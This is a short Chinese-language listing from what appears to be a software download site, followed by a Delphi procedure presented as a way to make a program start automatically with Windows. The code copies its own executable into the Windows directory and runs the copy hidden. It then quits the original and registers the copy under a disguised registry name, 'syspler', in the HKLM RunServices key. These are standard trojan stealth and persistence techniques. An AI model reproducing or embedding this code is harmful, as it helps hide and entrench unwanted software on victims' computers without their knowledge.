- 類(lèi)型:編程輔助大小:1.8M語(yǔ)言:英文 評(píng)分:6.0
- 標(biāo)簽:
為了程序能在Windows每次啟動(dòng)時(shí)自動(dòng)運(yùn)行
加入Registry單元,改寫(xiě)上面的窗口Create事件,改寫(xiě)后的程序如下:
procedure TForm1.FormCreate(Sender: TObject);
const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
var myname: string;
begin
{Write by Lovejingtao,替換Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行Windows\System\下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;